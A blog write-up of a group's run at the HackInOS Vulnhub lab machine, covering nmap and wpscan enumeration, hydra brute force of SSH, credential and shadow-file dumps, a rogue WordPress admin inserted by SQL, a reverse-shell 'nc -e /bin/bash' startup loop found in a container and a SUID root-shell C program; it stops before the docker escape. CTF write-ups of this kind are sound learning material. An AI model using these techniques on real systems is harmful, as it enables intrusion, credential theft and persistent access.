HackInOS Boot to Root
@ Chris Suttles · Friday, Apr 26, 2019 · 25 minute read · Update at May 24, 2020

A few friends and I have been getting together to play around with Pentesting, and one of our recent adventures was HackInOS from Vulnhub. Here's the author's description of this vulnerable machine:

HackinOS is a beginner level CTF style vulnerable machine. I created this VM for my university’s cyber security community and all cyber security enthusiasts. I thank to Mehmet Oguz Tozkoparan, Ömer Faruk Senyayla and Tufan Gungor for their help during creating this lab.

Enumeration

Since this is just a "boot to root", not a full pentest, we jump right into enumeration after some simple environment setup. After all of us found our local box's IP, we all create an entry in /etc/hosts called 'target' that corresponds to the box. This helps because we use a shared document for notes and it makes a lot of commands re-usable for everyone since everybody's local vbox/vmware/whatever setup is a little different.

nmap

I typically do nmap from within metaspolit so I can save the info in the workspace and get to it easily. Since we don't have to worry about detection, I did a very aggressive nmap to enumerate the target.

msf5 > db_nmap -sV -O -A -p- target
[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-21 19:12 EDT
[*] Nmap: Nmap scan report for hackin (192.168.167.132)
[*] Nmap: Host is up (0.00073s latency).
[*] Nmap: Not shown: 65533 closed ports
[*] Nmap: PORT     STATE SERVICE VERSION
[*] Nmap: 22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
[*] Nmap: | ssh-hostkey:
[*] Nmap: |   2048 d9:c1:5c:20:9a:77:54:f8:a3:41:18:92:1b:1e:e5:35 (RSA)
[*] Nmap: |   256 df:d4:f2:61:89:61:ac:e0:ee:3b:5d:07:0d:3f:0c:87 (ECDSA)
[*] Nmap: |_  256 8b:e4:45🆎af:c8:0e:7e:2a:e4:47:e7:52:f9:bc:71 (ED25519)
[*] Nmap: 8000/tcp open  http    Apache httpd 2.4.25 ((Debian))
[*] Nmap: |_http-generator: WordPress 5.0.3
[*] Nmap: |_http-open-proxy: Proxy might be redirecting requests
[*] Nmap: | http-robots.txt: 2 disallowed entries
[*] Nmap: |_/upload.php /uploads
[*] Nmap: |_http-server-header: Apache/2.4.25 (Debian)
[*] Nmap: |_http-title: Blog – Just another WordPress site
[*] Nmap: MAC Address: 00:0C:29:AC:13:E4 (VMware)
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 3.X|4.X
[*] Nmap: OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
[*] Nmap: OS details: Linux 3.2 - 4.9
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: TRACEROUTE
[*] Nmap: HOP RTT     ADDRESS
[*] Nmap: 1   0.73 ms hackin (192.168.167.132)
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 18.29 seconds

As usual, nmap provides a helpful starting point. We also ran a similar UDP scan, but that didn't turn up anything interesting so it has been omitted. From here, we started to drill down on the two exposed services.

HTTP

We can get some hints from robots.txt

root@kali:~# curl target:8000/robots.txt
User-agent:*
Disallow:/upload.php
Disallow:/uploads

We took a closer look at the disallowed entries, and found some interesting stuff; upload.php has an html comment in it:https://github.com/fatihhcelik/Vulnerable-Machine---Hint

We've also got an old wordpress installation to hack on.

SSH

We didn't do anything in the way of enumeration for SSH beyond the nmap scan to find it's listening and the version, etc.

Attack Start / Getting a Foothold

There's still some enumeration along the way here, but we started going for it since we apparently only had two services to work on.

HTTP

dirb

I ran dirb to enumerate HTTP, as did "SteveyDevey", and we didn't come up with anything exciting, since we found everything interesting already via nmap and looking at robots.txt. It's still a great tool and we used it, so yeah, that happened and we kept going. This kind of thing is very common in pentest/CTF; if it was easy and everything worked all the time there would be no point.

If being awesome was easy, everyone would do it.

uploads.php

We spent some time digging through the github link that my pal "SteveyDevey" found, and tried to figure out how to upload a payload and where it would go. That was a pretty fun puzzle, but we never got there. I think it's possible to exploit via HTTP if you can craft a payload that passes the mime type check, and then hit it with a GET after calculating the location in uploads. One test we did was to upload a simple gif, named 'avacado.gif' (sic, I can't spell). The actual location of that file ended up being:

http://target:8000/uploads/476ce8b1f89f8e46c4087d7b524eabee.gif

edit: see the "bonus section" at the end of this post for details on this; I chose to revisit it and figured it out

Wordpress

Everyone's favorite blogging platform has had it's share of exploits over the years, so this was where I focused while "SteveyDevey" was working on uploads.php.

Browsing to the site, it looked very broken. This is because of a common configuration error in wordpress, where the install URL is configured as "localhost". To fix things up, I started a local port redirect with socat:

socat tcp-listen:8000,reuseaddr,fork tcp:target:8000

This made it possible to follow links and explore manually, and fixed the style errors as well.

Manual discovery and attacking is great, but there'a tools to make this easier; enter wpscan.

After a couple wpscan runs, we had a lot more detail about this WP install to use for attacking, and a user (although we already discovered that user manually).

root@kali:~# wpscan --url http://target:8000/ --wp-content-dir /                                                                                                                                                                                                                          
_______________________________________________________________                                                                                                                                                                                                                           
        __          _______   _____                                                                                                                                                                                                                                                       
        \ \        / /  __ \ / ____|                                                                                                                                                                                                                                                      
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®                                                                                                                                                                                                                                     
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \                                                                                                                                                                                                                                      
           \  /\  /  | |     ____) | (__| (_| | | | |                                                                                                                                                                                                                                     
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|                                                                                                                                                                                                                                     
                                                                                                                                                                                                                                                                                          
        WordPress Security Scanner by the WPScan Team                                                                                                                                                                                                                                     
                       Version 3.5.1                                                                                                                                                                                                                                                      
          Sponsored by Sucuri - https://sucuri.net                                                                                                                                                                                                                                        
      @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_                                                                                                                                                                                                                                   
_______________________________________________________________                                                                                                                                                                                                                           
                                                                                                                                                                                                                                                                                          
[+] URL: http://target:8000/                                                                                                                                                                                                                                                              
[+] Started: Sun Apr 21 19:33:32 2019                                                                                                       
                                                                  
Interesting Finding(s):

[+] http://target:8000/
 | Interesting Entries:
 |  - Server: Apache/2.4.25 (Debian)
 |  - X-Powered-By: PHP/7.2.15
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] http://target:8000/robots.txt
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] http://target:8000/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://target:8000/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] http://target:8000/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.0.3 identified (Insecure, released on 2019-01-09).
 | Detected By: Emoji Settings (Passive Detection)
 |  - http://target:8000/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.0.3'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://target:8000/, Match: 'WordPress 5.0.3'
 |
 | [!] 1 vulnerability identified:
 |
 | [!] Title: WordPress 3.9-5.1 - Comment Cross-Site Scripting (XSS)
 |     Fixed in: 5.04
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9230
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9787
 |      - https://github.com/WordPress/WordPress/commit/0292de60ec78c5a44956765189403654fe4d080b
 |      - https://wordpress.org/news/2019/03/wordpress-5-1-1-security-and-maintenance-release/
 |      - https://blog.ripstech.com/2019/wordpress-csrf-to-rce/

[i] The main theme could not be detected.

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <=============================================================================================================================================================================================================> (21 / 21) 100.00% Time: 00:00:00

[i] No Config Backups Found.


[+] Finished: Sun Apr 21 19:33:33 2019
[+] Requests Done: 40
[+] Cached Requests: 8
[+] Data Sent: 6.032 KB
[+] Data Received: 18.762 KB
[+] Memory used: 138.477 MB
[+] Elapsed time: 00:00:01

And here's our wordpress user:

root@kali:~# wpscan --url http://target:8000/ --wp-content-dir / --enumerate u 

...snip...

[i] User(s) Identified:

[+] handsome_container
 | Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

Surely, a username like that is some kind of clue.I started poking wordpress manually, and tried to register, but registration was not enabled. I also tried to post replies to existing comments to see if we could use that for the CSRF vulnerability wpscan found, but although my posts seemed successful, they were not visible, which means that CSRF would not work, since it needs a page load to occur for the CSRF to run. While it is already in the wpscan output above, I think it's worthwhile to point out this blog post; it's an excellent write up.SSH

I didn't feel like we were making progress with the HTTP based attacks, so I decided to switch gears and try SSH.

hummingbirdscyber

hummingbirdscyber

The box boots to a login screen that shows a valid user. I decided to plug this user into hydra and attack SSH, and it payed off after just a few seconds.

root@kali:~# hydra -l hummingbirdscyber -P /usr/share/wordlists/rockyou.txt -t4 target ssh 
Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-04-22 20:10:29
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://target:22/
[22][ssh] host: target   login: hummingbirdscyber   password: 123456
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-04-22 20:10:43
root@kali:~# 

Well ok, I'll take an unprivileged shell. Thanks, Hydra![22][ssh] host: target login: hummingbirdscyber password: 123456

Unprivileged Shell

Now we had an unprivileged shell, and it was time to do some additional enumeration. I started by grabbing /etc/passwd and checking the user's group memberships.

hummingbirdscyber@vulnvm:~$ cat /etc/passwd
root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin❌2:2:bin:/bin:/usr/sbin/nologin
sys❌3:3:sys:/dev:/usr/sbin/nologin
sync❌4:65534:sync:/bin:/bin/sync
games❌5:60:games:/usr/games:/usr/sbin/nologin
man❌6:12👨/var/cache/man:/usr/sbin/nologin
lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail❌8:8:mail:/var/mail:/usr/sbin/nologin
news❌9:9:news:/var/spool/news:/usr/sbin/nologin
uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy❌13:13:proxy:/bin:/usr/sbin/nologin
www-data❌33:33:www-data:/var/www:/usr/sbin/nologin
backup❌34:34:backup:/var/backups:/usr/sbin/nologin
list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync❌100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network❌101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve❌102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy❌103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog❌104:108::/home/syslog:/bin/false
_apt❌105:65534::/nonexistent:/bin/false
messagebus❌106:110::/var/run/dbus:/bin/false
uuidd❌107:111::/run/uuidd:/bin/false
lightdm❌108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie❌109:117::/nonexistent:/bin/false
avahi-autoipd❌110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi❌111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq❌112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord❌113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher❌114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip❌115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops❌116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse❌117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit❌118:126:RealtimeKit,,,:/proc:/bin/false
saned❌119:127::/var/lib/saned:/bin/false
usbmux❌120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
hummingbirdscyber❌1000:1000:hummingbirdscyber,,,:/home/hummingbirdscyber:/bin/bash
vboxadd❌999:1::/var/run/vboxadd:/bin/false
sshd❌121:65534::/var/run/sshd:/usr/sbin/nologin


hummingbirdscyber@vulnvm:~$ grep -vP 'nologin|false' /etc/passwd
root❌0:0:root:/root:/bin/bash
sync❌4:65534:sync:/bin:/bin/sync
hummingbirdscyber❌1000:1000:hummingbirdscyber,,,:/home/hummingbirdscyber:/bin/bash

I also poked around the user's home directory for things of interest:

hummingbirdscyber@vulnvm:~$ stat .sudo_as_admin_successful
  File: '.sudo_as_admin_successful'
  Size: 0               Blocks: 0          IO Block: 4096   regular empty file
Device: 801h/2049d      Inode: 543323      Links: 1
Access: (0644/-rw-r--r--)  Uid: ( 1000/hummingbirdscyber)   Gid: ( 1000/hummingbirdscyber)
Access: 2019-04-22 22:13:48.853931517 +0300
Modify: 2019-02-23 14:04:35.780726236 +0300
Change: 2019-02-23 14:04:35.780726236 +0300
 Birth: -
hummingbirdscyber@vulnvm:~$ sudo -l 
[sudo] password for hummingbirdscyber: 

Sorry, user hummingbirdscyber may not run sudo on vulnvm.

I decided I wanted to speed things up a bit, and found a neat tool in this "total OSCP guide", called LinEnum. I read that, put it on the target machine, ran it, and read through the output. I found some interesting stuff there. Rather than paste all the output, here's the two things that jumped out at me:

hummingbirdscyber@vulnvm:~$ ls Desktop/a.out -l 
-rwsr-xr-x 1 root root 8720 Mar  1 23:25 Desktop/a.out
hummingbirdscyber@vulnvm:~$ 


hummingbirdscyber@vulnvm:~$ id
uid=1000(hummingbirdscyber) gid=1000(hummingbirdscyber) groups=1000(hummingbirdscyber),4(adm),24(cdrom),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(docker)

I already saw that hummingbirdscyber was a member of the docker group, but I missed the adm membership. I tried some additional find commands to look for SUID files I could abuse with -gid 4, but no luck. It's also worth mentioning that the output led me to look for gcc, which was installed.

Docker

With membership in the docker group, we could really dig into the containers on this box and see if we can abuse that privilege for gain. We start again, with more enumeration:

hummingbirdscyber@vulnvm:~$ docker ps
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                  NAMES
252fa8cb1646        ubuntu              "/bin/bash"              8 weeks ago         Up 19 minutes                              brave_edison
1afdd1f6b82c        wordpress:latest    "docker-entrypoint.s…"   8 weeks ago         Up 19 minutes       0.0.0.0:8000->80/tcp   experimental_wordpress_1
81a93420fd22        mysql:5.7           "docker-entrypoint.s…"   8 weeks ago         Up 19 minutes       3306/tcp, 33060/tcp    experimental_db_1

This really helped to bring the environment into focus for me. All the stuff we were hammering on via HTTP lived in a container; remember that username hint, handsome_container?

Ubuntu / brave_edison

I started with this container, since I suspected it would be the most "complete" environment. Once I exec'd into the container, I started to get a clearer picture of what we were working with. I looked at the running processes and started poking things:

hummingbirdscyber@vulnvm:~$ docker exec -it brave_edison /bin/bash
root@252fa8cb1646:/# cat /etc/init.d/port.sh 
#!/bin/bash

while [ 1 ];do nc 1afdd1f6b82c 7777 -e /bin/bash;sleep 5;done
root@252fa8cb1646:/# cat /etc/init.d/ftp.sh  
#!/bin/bash

/root/proftpd-1.3.3c/proftpd -n -d 5 -c /tmp/PFTEST/PFTEST.conf

root@252fa8cb1646:/# ps -ef 
UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0 19:08 pts/0    00:00:00 /bin/bash
root         10      0  0 19:08 ?        00:00:00 /bin/bash /etc/init.d/port.sh
root         17      0  0 19:08 ?        00:00:00 /bin/bash /etc/init.d/ftp.sh
root         22     17  0 19:08 ?        00:00:00 proftpd: (accepting connections)
root       1289      0  0 20:00 pts/1    00:00:00 /bin/bash
root       1327     10  0 20:01 ?        00:00:00 sleep 5
root       1328   1289  0 20:01 pts/1    00:00:00 ps -ef
root@252fa8cb1646:/# 
root@252fa8cb1646:~# ls
flag  proftpd-1.3.3c  ssh_cred
root@252fa8cb1646:~# cat flag 
Wake Up!
root@252fa8cb1646:~# cat ssh_cred 
hummingbirdscyber:123456

root@252fa8cb1646:/# cat /tmp/PFTEST/PFTEST.xferlog 
Thu Feb 28 20:28:30 2019 0 ::ffff:172.18.0.3 78 /etc/init.d/ftp.sh b _ o r proftpd ftp 0 * c
Thu Feb 28 20:48:15 2019 0 ::ffff:172.18.0.3 16 /home/hint b _ o r proftpd ftp 0 * c
root@252fa8cb1646:/# ls /home/hint 
/home/hint
root@252fa8cb1646:/# cat /home/hint 
Startup Script?
root@252fa8cb1646:/# 

This output made me start thinking that perhaps direct ssh was not the vulnerable machine's common ingress point, and that maybe I should not have used the visible username to my advantage to get a foothold. I also thought "why turn back now that I already have a shell?" a few seconds later.

Wordpress / experimental_wordpress_1

Oh boy. With a name like that, this thing must be swiss cheese, right?

hummingbirdscyber@vulnvm:~$ docker exec -it experimental_wordpress_1 /bin/bash
root@1afdd1f6b82c:/var/www/html# ls
index.php    robots.txt  wp-activate.php     wp-comments-post.php  wp-content	wp-links-opml.php  wp-mail.php	    wp-trackback.php
license.txt  upload.php  wp-admin	     wp-config-sample.php  wp-cron.php	wp-load.php	   wp-settings.php  xmlrpc.php
readme.html  uploads	 wp-blog-header.php  wp-config.php	   wp-includes	wp-login.php	   wp-signup.php
root@1afdd1f6b82c:/var/www/html# cat wp-config
cat: wp-config: No such file or directory
root@1afdd1f6b82c:/var/www/html# grep -i DB wp-config.php 
define('DB_NAME', 'wordpress');
define('DB_USER', 'wordpress');
define('DB_PASSWORD', 'wordpress');
define('DB_HOST', 'db:3306');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');
define('AUTH_KEY',         'b68c5e8cad4c8f8367efe2db89d7865e894d037d');
define('AUTH_SALT',        'dbf7b92510a931b835a8b82eec8fd1adbaad487f');
define('LOGGED_IN_SALT',   '614056ec3ba0011dcdb83422b44238045627750e');
root@1afdd1f6b82c:/var/www/html# 
root@1afdd1f6b82c:/var/www/html# cd uploads/
root@1afdd1f6b82c:/var/www/html/uploads# ls 
476ce8b1f89f8e46c4087d7b524eabee.gif
root@1afdd1f6b82c:/var/www/html/uploads# 

Kinda. It was trivial to get the wordpress db creds, and this is how I confirmed the location of my test upload. We tried re-implementing the php move of the uploads.php in bash earlier, and then started using php from the cli to guess paths. We weren't sure if we were right about the renaming until I got into this container and confirmed it.That doesn't do us much good though, since we didn't have a payload that would pass the mime type check to upload, and even if we did, it would get us access to a container where we already had access!I kept looking and saw another clue to the same moot point:

hummingbirdscyber@vulnvm:~$ docker exec  -it experimental_wordpress_1 /bin/bash
root@1afdd1f6b82c:/var/www/html# ps -ef  
UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0 19:08 ?        00:00:00 apache2 -DFOREGROUND
root         35      0  0 19:08 ?        00:00:00 /bin/bash /etc/init.d/delete.sh
www-data     94      1  0 19:08 ?        00:00:00 apache2 -DFOREGROUND
www-data     95      1  0 19:08 ?        00:00:00 apache2 -DFOREGROUND
www-data     97      1  0 19:08 ?        00:00:00 apache2 -DFOREGROUND
www-data     98      1  0 19:08 ?        00:00:00 apache2 -DFOREGROUND
www-data    124      1  0 19:33 ?        00:00:00 apache2 -DFOREGROUND
www-data    126      1  0 19:34 ?        00:00:00 apache2 -DFOREGROUND
www-data    141      1  0 19:44 ?        00:00:00 apache2 -DFOREGROUND
www-data    143      1  0 19:44 ?        00:00:00 apache2 -DFOREGROUND
www-data    144      1  0 19:44 ?        00:00:00 apache2 -DFOREGROUND
www-data    146      1  0 19:44 ?        00:00:00 apache2 -DFOREGROUND
root        174     35  0 19:58 ?        00:00:00 sleep 300
root        184      0  1 20:02 pts/0    00:00:00 /bin/bash
root        189    184  0 20:02 pts/0    00:00:00 ps -ef

root@1afdd1f6b82c:/var/www/html# cat /etc/init.d/delete.sh 
#!/bin/bash

while [ 1 ]
do
    rm -rf /var/www/html/uploads/*.php
    sleep 300
done

Again, I thought that we were probably intended to get a foothold through HTTP. Oh well.

hummingbirdscyber@vulnvm:~$ docker exec -it experimental_wordpress_1 /bin/bash
root@1afdd1f6b82c:/var/www/html# cd /root/
root@1afdd1f6b82c:~# ls
flag
root@1afdd1f6b82c:~# cat flag 
Life consists of details..

Poking around some more got me some more fortune cookie wisdom and a lot of nothing. I grabbed passwd and shadow for kicks.

hummingbirdscyber@vulnvm:~$ docker exec -it experimental_wordpress_1 /bin/bash
root@1afdd1f6b82c:/var/www/html# cat /etc/shadow
root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:17951:0:99999:7:::
daemon:*:17931:0:99999:7:::
bin:*:17931:0:99999:7:::
sys:*:17931:0:99999:7:::
sync:*:17931:0:99999:7:::
games:*:17931:0:99999:7:::
man:*:17931:0:99999:7:::
lp:*:17931:0:99999:7:::
mail:*:17931:0:99999:7:::
news:*:17931:0:99999:7:::
uucp:*:17931:0:99999:7:::
proxy:*:17931:0:99999:7:::
www-data:*:17931:0:99999:7:::
backup:*:17931:0:99999:7:::
list:*:17931:0:99999:7:::
irc:*:17931:0:99999:7:::
gnats:*:17931:0:99999:7:::
nobody:*:17931:0:99999:7:::
_apt:*:17931:0:99999:7:::

root@1afdd1f6b82c:/var/www/html# cat /etc/passwd
root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin❌2:2:bin:/bin:/usr/sbin/nologin
sys❌3:3:sys:/dev:/usr/sbin/nologin
sync❌4:65534:sync:/bin:/bin/sync
games❌5:60:games:/usr/games:/usr/sbin/nologin
man❌6:12👨/var/cache/man:/usr/sbin/nologin
lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail❌8:8:mail:/var/mail:/usr/sbin/nologin
news❌9:9:news:/var/spool/news:/usr/sbin/nologin
uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy❌13:13:proxy:/bin:/usr/sbin/nologin
www-data❌33:33:www-data:/var/www:/usr/sbin/nologin
backup❌34:34:backup:/var/backups:/usr/sbin/nologin
list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt❌100:65534::/nonexistent:/bin/false

I thought "no way are these mapped to actual system files", and I was right.

root@kali:~/hackinos# john --show unshadowed
root:john:0:0:root:/root:/bin/bash

1 password hash cracked, 0 left

I tried using that to become root on the host, but that didn't work. duh.

MySQL / experimental_db_1

I started out by poking around the database with the creds we harvested from the wordpress container.

hummingbirdscyber@vulnvm:~$ docker exec -it experimental_db_1 /bin/bash

root@81a93420fd22:/# mysql -u wordpress -p wordpress 
Enter password: 
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 5
Server version: 5.7.25 MySQL Community Server (GPL)

Copyright (c) 2000, 2019, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show tables;'
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| host_ssh_cred         |
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
13 rows in set (0.00 sec)

mysql> desc wp_users;
+---------------------+---------------------+------+-----+---------------------+----------------+
| Field               | Type                | Null | Key | Default             | Extra          |
+---------------------+---------------------+------+-----+---------------------+----------------+
| ID                  | bigint(20) unsigned | NO   | PRI | NULL                | auto_increment |
| user_login          | varchar(60)         | NO   | MUL |                     |                |
| user_pass           | varchar(255)        | NO   |     |                     |                |
| user_nicename       | varchar(50)         | NO   | MUL |                     |                |
| user_email          | varchar(100)        | NO   | MUL |                     |                |
| user_url            | varchar(100)        | NO   |     |                     |                |
| user_registered     | datetime            | NO   |     | 0000-00-00 00:00:00 |                |
| user_activation_key | varchar(255)        | NO   |     |                     |                |
| user_status         | int(11)             | NO   |     | 0                   |                |
| display_name        | varchar(250)        | NO   |     |                     |                |
+---------------------+---------------------+------+-----+---------------------+----------------+
10 rows in set (0.00 sec)

mysql> select * from wp_users\G
*************************** 1. row ***************************
                 ID: 1
         user_login: Handsome_Container
          user_pass: $P$BXJ8ZmtYd5lHZOLPgTccLUhaQLxm0L0
      user_nicename: handsome_container
         user_email: pupetofosu@ask-mail.com
           user_url: 
    user_registered: 2019-02-23 15:49:54
user_activation_key: 
        user_status: 0
       display_name: Handsome_Container
1 row in set (0.00 sec)

It won't get us anything, but let's get access to wordpress for fun!

Here's some articles I found to help craft the right queries and hash a password so I could create a new wordpress admin user:

https://jakebillo.com/wordpress-phpass-generator-resetting-or-creating-a-new-admin-user/

http://scriptserver.mainframe8.com/wordpress_password_hasher.php

https://www.wpbeginner.com/wp-tutorials/how-to-add-an-admin-user-to-the-wordpress-database-via-mysql/

root@kali:~# cat wordpress-add-admin-user.sql
INSERT INTO `wordpress`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('2', 'attacker', '$P$BQz2Dd0FIn7hf90kXbo2G2uwiMCgTH.', 'Real Mature', 'test@yourdomain.com', 'http://www.test.com/', '2011-06-07 00:00:00', '', '0', 'Real Mature');
 
INSERT INTO `wordpress`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '2', 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');
 
 
INSERT INTO `wordpress`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '2', 'wp_user_level', '10');

mysql> INSERT INTO `wordpress`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('2', 'attacker', '$P$BQz2Dd0FIn7hf90kXbo2G2uwiMCgTH.', 'Real Mature', 'test@yourdomain.com', 'http://www.test.com/', '2011-06-07 00:00:00', '', '0', 'Real Mature');
Query OK, 1 row affected (0.01 sec)

mysql> INSERT INTO `wordpress`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '2', 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');
Query OK, 1 row affected (0.01 sec)

mysql> INSERT INTO `wordpress`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '2', 'wp_user_level', '10');
Query OK, 1 row affected (0.00 sec)

Once I logged in as our new admin user, I could see my previous attempts to post comments stuck, awaiting moderation.

Take a Step Back / Retrace Steps

With the access to all the containers, and wordpress, we could easily execute the CSRF exploit we found with wpscan, but we would gain nothing. Perhaps the intended way in wasn't CSRF, but the uploads route; again this would gain us nothing. The ssh creds were in plain text on the ubuntu container, which was connected to the wordpress container. Perhaps the intended route was to exploit wordpress via sqlmap to get CSRF capability, then use that RCE to get access to wordpress, then pivot to the ubuntu container, where we would find the hosts's SSH creds in plain text. It was too late for all that. Where do we go now?

Get Root

We found some (probably false) flags and a lot of hints. Remember this one?

root@252fa8cb1646:/# cat /home/hint 
Startup Script?
root@252fa8cb1646:/#

I decided to poke at the startup scripts in the containers, which is how I discovered ubuntu and wordpress were connected. We could easily edit the startup scripts in the containers, but again we gain nothing. I started looking at startup scripts on the host itself and found a bunch with docker exec $something. I decided to keep thinking about abusing docker. I tried some things. Some were dumb, many were pointless. I finally started looking back at regular old privesc on the host itself. I tried a kernel exploit, and it failed. I looked at SUID binaries again, and that's when I realized something that had been staring me in the face for a while.

Earlier, when I found the SUID binary in the user's home, ~/Desktop/a.out, I checked it out with the strings command and it seemed safe enough, so I ran it; I don't care about this machine, it doesn't have internet access, and I can just revert if things break. It turns out that binary was just a whoami, but because of SUID, the output was root.

I also tried compiling an exploit for SUID myself at that time, but as an unprivileged user, you can't chown things to root.

hummingbirdscyber@vulnvm:~$ cat exploit.c 
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
    setuid(0);
    system("/bin/bash");
    return 0;
}

I built/linked it with gcc, which was already installed:

gcc -o exploit exploit.c

Since I could chmod 4777 for SUID, but couldn't chown root:root first, I gave up when I first looked at this. Whoops!

We had root on all the docker containers, so all I needed to do was reuse an image that's already on the box (because no internet access), and create a bind mount to abuse the docker privileges.

